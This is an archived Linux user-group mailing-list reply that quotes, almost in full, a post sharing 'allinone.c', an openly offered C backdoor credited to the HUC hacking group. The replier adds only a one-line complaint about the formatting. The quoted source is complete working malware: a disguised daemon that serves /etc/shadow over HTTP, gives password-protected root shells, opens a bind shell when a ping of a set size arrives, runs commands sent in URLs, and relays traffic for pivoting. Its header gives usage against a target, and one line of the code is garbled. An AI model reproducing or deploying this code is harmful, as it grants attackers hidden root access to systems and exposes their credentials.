Re: Linux Security Team Toy Series: allinone.c

Top Page
Attachments:
Message as email
+ (text/plain)
+ signature.asc (application/pgp-signature)
+ (text/plain)
Delete this message
Reply to this message
Author: Ryan Rix
Date:  
To: Main PLUG discussion list
Subject: Re: Linux Security Team Toy Series: allinone.c
On Sun 12 July 2009 7:49:13 pm Lisa Kachold wrote:
> Shell coding fun with ICMP/HTTP, Socks proxy.
>
> AllINONE.c
>
> /************************************************************************
> * allinone.c for HUC (2002.1)
> *
> * allinone.c is
> * a Http server,
> * a sockets transmit server,
> * a shell backdoor,
> * a icmp backdoor,
> * a bind shell backdoor,
> * a like http shell,
> * it can translate file from remote host,
> * it can give you a socks5 proxy,
> * it can use for to attack, jumps the extension, Visits other machines.
> * it can give you a root shell.:)
> *
> * Usage:
> * compile:
> * gcc -o allinone allinone.c -lpthread
> * run on target:
> * ./allinone
> *
> * 1.httpd server
> * Client:
> * http://target:8008/givemefile/etc/passwd
> * lynx -dump http://target:8008/givemefile/etc/shadow > shadow
> * or wget http://target:8008/givemefile/etc/shadow
> *
> * 2.icmp backdoor
> * Client:
> * ping -l 101 target (on windows)
> * ping -s 101 -c 4 target (on linux)
> * nc target 8080
> * kissme:) --> your password
> *
> * 3.shell backdoor
> * Client:
> * nc target 8008
> * kissme:) --> your password
> *
> * 4.bind a root shell on your port
> * Client:
> * http://target:8008/bindport:9999
> * nc target 9999
> * kissme:) --> your password
> *
> * 5.sockets transmit
> * Client:
> * http://target:8008/socks/:local listen port::you want to tran
> ip:::you want to tran port
> * http://target:8008/socks/:1080::192.168.0.1:::21
> * nc target 1080
> *
> * 6.http shell
> * Client:
> * http://target:8008/givemeshell:ls -al (no pipe)
> *
> * ps:
> * All bind shell have a passwd, default is: kissme:)
> * All bind shell will close, if Two minutes do not have the connection.
> * All bind shell only can use one time until reactivates.
> *
> *
> * Code by lion, e-mail:
> * Welcome to HUC Website, Http://www.cnhonker.com
> *
> * Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
> * Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.
> *
> ************************************************************************/
>
>
> #include <stdio.h>
> #include <string.h>
> #include <signal.h>
> #include <netdb.h>
> #include <netinet/ip.h>
> #include <netinet/in.h>
> #include <sys/wait.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> #include <sys/time.h>
> #include <pthread.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
>
>
> #define HTTPD_PORT    8008
> #define BIND_PORT    8888
> #define ICMP_PORT    8080
> #define TRAN_PORT    1080
> #define SIZEPACK    101
> #define MAXSIZE        32768
> #define TIMEOUT        120
> #define CONNECT_NUMBER    1
> #define HIDEME        "[login]       "
> #define HIDEICMP    "[su]       "
> #define HIDEFILE    "[bash]       "
> #define GET_FILE    "givemefile"
> #define SHELL_NAME    "givemeshell"
> #define BIND_NAME    "bindport"
> #define TRAN_NAME    "socks"
> #define DISPART        ":"
> #define DISPART1    "::"
> #define DISPART2    ":::"
> #define PASSWORD    "kissme:)"     /* Change it */
> #define MESSAGE        "\r\n========Welcome to
> http://www.cnhonker.com========\r\n==========You got it, have a
> goodluck. :)=========\r\n\r\nYour command: \0"
> #define GIVEPASS     "\r\nEnter Your password: \0"

>
> #define max(a, b) (a)>(b)?(a) : (b)
>
> int maxfd, infd, outfd;
> unsigned char ret_buf[32768];
>
> int    daemon_init();        /* init the daemon, if success return 0 other <0 */
> void    sig_chid();        /* wait the child die */
> int    TCP_listen();        /* success return 1 else return -1 */
> char*    read_file();        /* return the file content as a large string, buf
> value like GET /index.html HTTP:/1.1 */
> ssize_t    writen_file();        /* writen data to socket */
> int    bind_shell();        /* bind a root shell to a port */
> int    get_shell();        /* get me the root shell */
> int    icmp_shell();        /* icmp backdoor */
> int    socks();        /* socks */
> int    create_socket();
> int    create_serv();
> int    client_connect();
> int    quit();
> void    out2in();
> char    x2c();            /* http shell */
> void    unescape_url();
> void    plustospace();

>
>
> /* The main function from here */
> int main(int argc, char *argv[])
> {
>     int fd, len, i, icmp;
>     int csocket;
>     struct sockaddr_in caddr;
>     char readstr[4000];
>     char *cbuf;
>     pid_t pid;

>
>     /* make it to a daemon */
>     /*signal(SIGHUP, SIG_IGN);*/
>     signal(SIGCHLD, sig_chid);
>     daemon_init();

>
>     if((pid = fork()) == -1) exit(0);
>     if(pid <= 0)
>     {
>         strcpy(argv[0], HIDEICMP);
>         icmp_shell();
>     }

>
>     fd = TCP_listen(HTTPD_PORT);
>     if(fd <= 0) return -1;

>
>     for(;;)
>     {
>         strcpy(argv[0], HIDEME);

>
>         /* check httpd */
>         len = sizeof(caddr);
>         if((csocket = accept(fd, &caddr, &len)) < 0) continue;
>         if((pid = fork()) == -1) continue;
>         if(pid <= 0)
>         {
>             strcpy (argv[0], HIDEFILE);
>             i = recv(csocket, readstr, 4000,0);
>             if (i == -1) break;
>             if( readstr[ i -1 ] != '\n' ) break;
>             readstr [i] = '\0';
>             /*printf("Read from client: %s \n", readstr);*/
>             cbuf = read_file(readstr, csocket);
>             close(csocket);
>         }
>         close(csocket);
>     }
>     close(fd);
>     return(1);
> }

>
>
> /* init the daemon, if success return 0 other <0 */
> int daemon_init()
> {
>     struct sigaction act;
>     int i, maxfd;

>
>     if(fork() != 0) exit(0);
>     if(setsid() < 0) return(-1);

>
>     act.sa_handler = SIG_IGN;
>     /*act.sa_mask = 0;*/
>     act.sa_flags = 0;

>
>     sigaction(SIGHUP, &act, 0);

>
>     if(fork() != 0) exit(0);

>
>     chdir("/");
>     umask(0);
>     maxfd = sysconf(_SC_OPEN_MAX);
>     for(i=0; i<maxfd; i++)
>     close(i);
>     open("/dev/null", O_RDWR);
>     dup(0);
>     dup(1);
>     dup(2);
>     return(0);
> }

>
>
> /* wait the child die */
> void sig_chid(int signo)
> {
>     pid_t pid;
>     int stat;
>     while((pid = waitpid(-1, &stat, WNOHANG))>0);
>     printf("children %d died\n", pid);
>     return;
> }

>
> /* success return 1 else return -1 */
> int TCP_listen(int port)
> {
>     struct sockaddr_in laddr ;
>     int fd;
>     socklen_t len ;
>     fd = socket(AF_INET, SOCK_STREAM, 0);
>     len = sizeof(laddr) ;
>     memset(&laddr, 0, len) ;
>     laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
>     laddr.sin_family = AF_INET ;
>     laddr.sin_port = htons(port) ;
>     if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);
>     if(listen(fd, 5)) return(-1);
>     return(fd);
> }

>
> /* http server */
> char * read_file(char *buf, int fd)
> {
>     char *erro=
>     "Content-type: text/html\n\n"
>     "HTTP/1.1 404 Not Found\n"
>     "Date: Mon, 14 Jan 2002 03:19:55 GMT\n"
>     "Server: Apache/1.3.22 (Unix)\n"
>     "Connection: close\n"
>     "Content-Type: text/html\n\n"
>     "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n"
>     "<HTML><HEAD>\n"
>     "<TITLE>404 Not Found</TITLE>\n"
>     "</HEAD><BODY>\n"
>     "<H1>Not Found</H1>\n"
>     "The requested URL was not found on this server.<P>\n"
>     "<HR>\n"
>     "<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>\n"
>     "</BODY></HTML>\n\n";

>
>     char *bindok=
>     "Content-type: text/html\n\n"
>     "<html>\n<head><title>Bind Shell ok.:)</title></head>\n"
>     "<body bgcolor=\"#000000\">\n"
>     "<div align=\"center\"><p>\n"
>     "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
>     "You get it, goodluck! :-)\n"
>     "</b></font></p></div><br>\n"
>     "</body></html>\n\n";

>
>     char *tranok=
>     "Content-type: text/html\n\n"
>     "<html>\n<head><title>Tran ok.:)</title></head>\n"
>     "<body bgcolor=\"#000000\">\n"
>     "<div align=\"center\"><p>\n"
>     "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
>     "Tran ok!\n"
>     "</b></font></p></div><br>\n"
>     "</body></html>\n\n";

>
>     char *httpok1=
>     "Content-type: text/html\n\n"
>     "<html>\n<head><title>Shell ok.:)</title></head>\n"
>     "<body bgcolor=\"#000000\">\n"
>     "<div align=\"left\">\n"
>     "<pre><font face=\"Arial\" color=\"#999999\" size=\"2\">\n";

>
>     char *httpok2=
>     "</font></pre></div><br>\n"
>     "</body></html>\n\n";

>
>     char *yourcom=
>     "<b>Your Command:</b>\n";

>
>     char *br=
>     "<br>\n";

>
>     int listenp, targetp, i, j, c, bport;
>     char *cmd, *par, *op, *hp, *tp, *targeth, *command;
>     char *swap_file = "/tmp/tmp.txt";
>     char *setpath =
> "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:.";
>     FILE *f;

>
>     /* check give me shell */
>     cmd = buf;
>     par = strstr(cmd, PASSWORD);
>     if(par != NULL)
>     {
>         /*printf("Get Shell:\n");*/
>         get_shell(fd);
>         exit(0);
>     }

>
>     /* check bind root shell on a port */
>     par = strstr(cmd, BIND_NAME);
>     op = strstr(cmd, DISPART);
>     if(par != NULL && op != NULL)
>     {
>         bport = atoi(op + strlen(DISPART));
>         if(bport <= 0)
>             bport = BIND_PORT;
>         /*printf("Bind Port: %d\n", bport);*/
>         write(fd, bindok, strlen(bindok));
>         close(fd);
>         bind_shell(bport);
>         exit(0);
>     }

>
>     /* check Tran code */
>     par = strstr(cmd, TRAN_NAME);
>     op = strstr(cmd, DISPART);
>     hp = strstr(cmd, DISPART1);
>     tp = strstr(cmd, DISPART2);
>     if(par != NULL && op != NULL && hp != NULL && tp != NULL)
>     {
>         listenp = atoi(op + strlen(DISPART));
>         if(listenp <= 0)
>         listenp = TRAN_PORT;
>         targetp = atoi(tp + strlen(DISPART2));
>         if(targetp <= 0)
>             targetp = 23;

>
>         hp = (hp + strlen(DISPART1));
>         targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp));
>         targeth[strlen(hp) - strlen(tp)] = '\0';

>
>         /*printf("Tran Port: listen %d port to %s %d port\n", listenp,
> targeth, targetp);*/
>         write(fd, tranok, strlen(tranok));
>         close(fd);
>         /*
>         listenp = 1080;
>         targetp = 21;
>         targeth = "192.168.0.14";
>         */
>         socks(listenp, targeth, targetp);
>         exit(0);
>     }

>
>     /* check http shell */
>     par = strstr(cmd, SHELL_NAME);
>     op = strstr(cmd, DISPART);
>     if(par != NULL && op != NULL)
>     {
>         tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART);
>         hp = strstr(tp, "HTTP");
>         if(hp != NULL) *hp = '\0';
>         tp[strlen(tp) - 1] = 0;
>         plustospace(tp);
>         unescape_url(tp);
>         /*printf("HTTP Shell: %s\n", tp);*/

>
>         c = j = strlen(tp);
>         tp[j] = ' ';j++;
>         tp[j] = ' ';j++;
>         tp[j] = '>';j++;
>         tp[j] = ' ';j++;
>         for(i = 0; i <= strlen(swap_file); i++, j++)
>         {
>             tp[j] = swap_file[i];
>         }
>         tp[j + strlen(swap_file)] = '\0';

>
>         command = tp;
>         /*printf("command: %s\n",command); */
>         setuid(0);
>         setgid(0);
>         chdir("/");
>         putenv(setpath);
>         /*printf("setpath ok!\n");*/
>         system(command);
>         /*printf("system ok!\n");*/

>
>         f = fopen(swap_file, "r");
>         if (f == NULL)
>         {
>             /*printf("Swap file error");*/
>             writen_file(fd, erro, strlen(erro));
>             return erro;
>         }

>
>         writen_file(fd, httpok1, strlen(httpok1));
>         writen_file(fd, yourcom, strlen(yourcom));
>         writen_file(fd, command, c);
>         writen_file(fd, br, strlen(br));
>         writen_file(fd, br, strlen(br));
>         while( !feof(f) )
>         {
>             i = fread(ret_buf, 1, 32768, f);
>             if (i == 0) break;
>             writen_file(fd, ret_buf, i);
>         }
>         fclose(f);
>         writen_file(fd, br, strlen(br));
>         writen_file(fd, httpok2, strlen(httpok2));
>         remove(swap_file);
>         exit(0);
>     }

>
>     /* check getfile */
>     par = NULL;
>     par = strstr(cmd, GET_FILE);
>     if(par != NULL)
>     {
>         op = buf + 5 + strlen(GET_FILE);
>         tp = strstr(op, "HTTP");
>         if(tp != NULL) *tp = '\0';
>         op[strlen(op) - 1] = 0;
>         /*printf("Get File: %s\n", op);*/
>         f = fopen(op, "r");
>         if (f == NULL)
>         {
>             writen_file(fd, erro, strlen(erro));
>             return erro;
>         }

>
>         while( !feof(f) )
>         {
>             i = fread(ret_buf, 1, 32768, f);
>             if (i == 0) break;
>             writen_file(fd, ret_buf, i);
>         }
>         fclose(f);
>         exit(0);
>     }
>     writen_file(fd, erro, strlen(erro));
>     close(fd);
>     exit(-1);
> }

>
>
> /* writen data to socket */
> ssize_t writen_file(int fd, const void *vptr, size_t n)
> {
>     size_t nleft;
>     ssize_t nwritten;
>     const char *ptr;
>     ptr = vptr;
>     nleft = n;
>     while(nleft > 0)
>     {
>         if((nwritten = write(fd, ptr, nleft)) <= 0)
>         {
>             if(errno == EINTR)
>             nwritten = 0;
>             else
>             return(-1);
>         }
>         nleft -= nwritten;
>         ptr += nwritten;
>     }
>     return(n);
> }

>
> /* bind root shell to a port */
> int bind_shell(int port)
> {
>     int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time;
>     char passwd[15];

>
>     struct sockaddr_in serv_addr;
>     struct sockaddr_in client_addr;
>     struct timeval testtime;

>
>     setuid(0);
>     setgid(0);
>     seteuid(0);
>     setegid(0);

>
>     chdir("/");

>
>     soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

>
>     if (soc_des == -1)
>         exit(-1);

>
>     bzero((char *) &serv_addr,sizeof(serv_addr));
>     serv_addr.sin_family = AF_INET;
>     serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
>     serv_addr.sin_port = htons(port);

>
>     soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

>
>     if (soc_rc != 0)
>         exit(-1);
>     if (fork() != 0)
>         exit(0);
>     setpgrp();
>     if (fork() != 0)
>         exit(0);
>     soc_rc = listen(soc_des, 5);
>     if (soc_rc != 0)
>         exit(0);

>
>     testtime.tv_sec = TIMEOUT;
>     testtime.tv_usec = 0;

>
>     /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime,
> sizeof(testtime));*/

>
>     alarm(TIMEOUT);
>     soc_len = sizeof(client_addr);
>     soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

>
>     if (soc_cli < 0)
>         exit(0);
>     alarm(0);

>
>     cli_pid = getpid();
>     server_pid = fork();

>
>     if (server_pid != 0)
>     {
>         write(soc_cli, GIVEPASS, strlen(GIVEPASS));
>         recv(soc_cli, passwd, sizeof(passwd), 0);

>
>         for (i = 0; i < strlen(passwd); i++)
>         {
>             if (passwd[i] == '\n' || passwd[i] == '\r')
>             {
>                 passwd[i] = '\0';
>             }
>         }

>
>         if (strcmp(passwd, PASSWORD) != 0)
>         {
>             close(soc_cli);
>             close(soc_rc);
>             exit(-1);
>         }

>
>         write(soc_cli, MESSAGE, strlen(MESSAGE));
>         for (i = 0; i < 3; i++)
>         {
>             dup2(soc_cli, i);
>         }

>
>         execl("/bin/sh","sh",(char *)0);
>         close(soc_cli);
>         close(soc_rc);
>         exit(1);
>     }
>     close(soc_cli);
>     close(soc_rc);
>     exit(0);
> }

>
> /* return a root shell */
> int get_shell(int fd)
> {
>     int i;
>     setuid(0);
>     setgid(0);

>
>     chdir("/");
>     write(fd, MESSAGE, strlen(MESSAGE));
>     for (i = 0; i < 3; i++)
>     {
>         dup2(fd, i);
>     }
>     execl("/bin/sh","sh",(char *)0);
>     close(fd);
>     return 1;
> }

>
> /* icmp backdoor */
> int icmp_shell()
> {
>     int i, s, size, fromlen, port = ICMP_PORT;
>     char pkt[4096];

>
>     struct protoent *proto;
>     struct sockaddr_in from;

>
>     proto = getprotobyname("icmp");

>
>     /* can't creat raw socket */
>     if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
>     exit(0);

>
>     /* waiting for packets */
>     while(1)
>     {
>         do
>         {
>             fromlen = sizeof(from);
>             if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr
> *)&from, &fromlen)) < 0)
>             printf("", size - 28);
>         }while(size != SIZEPACK + 28);

>
>         /* size == SIZEPACK, let's bind the shell on your port :)*/
>         switch(fork())
>         {
>         case -1:
>             continue;

>
>         case 0:
>             bind_shell(port);
>         exit (0);
>         }
>     }
>     return 1;
> }

>
> /* tran socks code */
> int socks(int listenp, char *targeth, int targetp)
> {
>     int listfd, outside, inside, size;
>     pthread_t thread1;
>     struct sockaddr_in client;

>
>     if(!(listfd = create_socket())) exit(1);
>     if(!(create_serv(listfd, listenp))) exit(1);

>
>     for(;;)
>     {
>         size = sizeof(struct sockaddr);
>         /*printf("waiting for response.........\n");*/
>         if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0)
>         {
>             /*printf("accept error\n");*/
>             continue;
>         }

>
>         /*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/
>         if(!(infd=create_socket())) exit(1);
>         if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);

>
>         maxfd = max(outfd, infd) + 1;
>         pthread_create(&thread1, NULL, (void *)&out2in, NULL);
>     }
>     close(listfd);
> }

>
> int create_socket()
> {
>     int sockfd;

>
>     if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0)
>     {
>         /*printf("Create socket error\n");*/
>         return(0);
>     }
>     return(sockfd);
> }

>
> int create_serv(int sockfd, int port)
> {
>     struct sockaddr_in srvaddr;

>
>     bzero(&srvaddr, sizeof(struct sockaddr));
>     srvaddr.sin_port = htons(port);
>     srvaddr.sin_family = AF_INET;
>     srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);

>
>     if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
>     {
>         /*printf("Bind to port %d error\n",port);*/
>         return(0);
>     }

>
>     if(listen(sockfd,CONNECT_NUMBER)<0)
>     {
>         /*printf("listen error\n");*/
>         return(0);
>     }
>     return(1);
> }

>
> int client_connect(int sockfd, char *server, int port)
> {
>     struct sockaddr_in cliaddr;
>     struct hostent *host;

>
>     if(!(host = gethostbyname(server)))
>     {
>         /*printf("gethostbyname error:%s\n",server);*/
>         return(0);
>     }

>
>     bzero(&cliaddr, sizeof(struct sockaddr));
>     cliaddr.sin_family = AF_INET;
>     cliaddr.sin_port = htons(port);
>     cliaddr.sin_addr = *((struct in_addr *)host->h_addr);

>
>     if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) <
> 0) {
>         /*printf("connect %s:%d error\n",server,port);*/
>         return(0);
>     }
>     return(1);
> }

>
> int quit(int a, int b, int c)
> {
>     close(a);
>     close(b);
>     close(c);
>     exit(1);
> }

>
> void out2in()
> {
>     struct timeval timeset;
>     fd_set readfd, writefd;
>     int result, i = 0;
>     char read_in1[MAXSIZE], send_out1[MAXSIZE];
>     char read_in2[MAXSIZE], send_out2[MAXSIZE];
>     int read1 = 0, totalread1 = 0, send1=0;
>     int read2 = 0, totalread2 = 0, send2=0;
>     int out_fd, in_fd;

>
>     out_fd = outfd;
>     in_fd = infd;

>
>     bzero(read_in1, MAXSIZE);
>     bzero(read_in2, MAXSIZE);
>     bzero(send_out1, MAXSIZE);
>     bzero(send_out2, MAXSIZE);

>
>     timeset.tv_sec = TIMEOUT;
>     timeset.tv_usec = 0;

>
>     while(1)
>     {
>         FD_ZERO(&readfd);
>         FD_ZERO(&writefd);

>
>         FD_SET(out_fd, &readfd);
>         FD_SET(in_fd, &writefd);
>         FD_SET(out_fd, &writefd);
>         FD_SET(in_fd, &readfd);

>
>         result = select(maxfd, &readfd, &writefd, NULL, °¡et);
>         if(result < 0)
>         {
>             /*printf("select error\n");*/
>             return;
>         }
>         else
>         if(result == 0)
>         {
>             /*printf("time out\n");*/
>             return;
>         }

>
>         if(FD_ISSET(out_fd, &readfd))
>         {
>             read1 = recv(out_fd, read_in1, MAXSIZE, 0);
>             if(read1 == 0) break;
>             if(read1 < 0)
>             {
>                 /*printf("read data error\n");*/
>                 return;
>             }
>             memcpy(send_out1 + totalread1, read_in1, read1);
>             totalread1 += read1;
>             bzero(read_in1, MAXSIZE);
>         }
>         if(FD_ISSET(in_fd, &writefd))
>         {
>             while(totalread1 > 0)
>             {
>                 send1 = write(in_fd, send_out1, totalread1);
>                 if(send1 == 0)break;
>                 if(send1 < 0)
>                 {
>                     /*printf("unknow error\n");*/
>                     continue;
>                 }
>                 totalread1 -= send1;
>             }
>             bzero(send_out1, MAXSIZE);
>         }

>
>         if(FD_ISSET(in_fd, &readfd))
>         {
>             read2 = recv(in_fd, read_in2, MAXSIZE, 0);
>             if(read2 == 0) break;
>             if(read2 < 0)
>             {
>                 /*printf("read data error\n");*/
>                 return;
>             }

>
>             memcpy(send_out2 + totalread2, read_in2, read2);
>             totalread2 += read2;
>             bzero(read_in2, MAXSIZE);
>         }

>
>         if(FD_ISSET(out_fd, &writefd))
>         {
>             while(totalread2 > 0)
>             {
>                 send2 = write(out_fd, send_out2, totalread2);
>                 if(send2 == 0) break;
>                 if(send2 < 0)
>                 {
>                     /*printf("unknow error\n");*/
>                     continue;
>                 }

>
>                 totalread2 -= send2;
>             }
>             bzero(send_out2, MAXSIZE);
>         }
>     }
>     close(out_fd);
>     close(in_fd);
>     return;
> }

>
> char x2c(char *what)
> {
>     register char digit;

>
>     digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
>     digit *= 16;
>     digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
>     return (digit);
> }

>
>
> void unescape_url(char *url)
> {
>     register int x, y;

>
>     for(x = 0 , y = 0; url[y]; ++x, ++y)
>     {
>         if((url[x] = url[y]) == '%')
>         {
>             url[x] = x2c(&url[y + 1]);
>             y += 2;
>         }
>     }
>     url[x] = '\0';
> }

>
> void plustospace(char *str)
> {
>     register int x;

>
>     for(x = 0; str[x]; x++)
>     if (str[x] == '+')
>     str[x] = ' ';
> }

>
>
> endfun


This would be so much better as an attachment so my mail client didn't die
horribly and it could be translated to a compilable file easily ;)

---
Ryan Rix
(623)-826-0051

Linus Torvalds:
> This is the special easter release of linux, more mundanely called 1.3.84

Winfried Truemper:
> Umh, oh. What do you mean by "special easter release"?. Will it quit
> working today and rise on easter?


http://hackersramblings.wordpress.com | http://twitter.com/phrkonaleash
XMPP:           | MSN: 
AIM:  phrkonaleash                    | Yahoo: phrkonaleash
IRC:  /#srcedit,#teensonlinux,#plugaz and
      countless other FOSS channels.


---------------------------------------------------
PLUG-discuss mailing list -
To subscribe, unsubscribe, or to change your mail settings:
http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss